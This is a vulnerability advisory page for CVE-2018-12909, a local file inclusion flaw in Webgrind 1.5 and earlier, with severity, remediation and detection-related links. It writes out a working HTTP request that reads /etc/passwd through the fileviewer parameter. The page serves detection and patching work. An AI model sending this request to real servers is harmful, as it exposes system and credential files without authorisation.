🔙 목록으로 돌아가기

CVE-2018-12909: Webgrind <= 1.5 - Local File Inclusion

TitleWebgrind <= 1.5 - Local File Inclusion
AuthorDhiyaneshDk
SeverityHigh
ImpactUnauthenticated attackers can read arbitrary files including sensitive configuration files, database credentials, and system files that the web server has access to.
RemediationUpgrade Webgrind to a version higher than 1.5 or apply the necessary patches provided by the vendor.
CVSS Score7.5
EPSS Score0.88176
CVE IDCVE-2018-12909
CWE IDCWE-22
Fofa Queryapp="Webgrind"app="webgrind"
Tags cve cve2018 lfi webgrind webgrind_project vuln

🔍 Vulnerability Description

Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer&file= URI

🌐 HTTP Request

GET /index.php?op=fileviewer&file=/etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/19.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-12909.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-12909.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A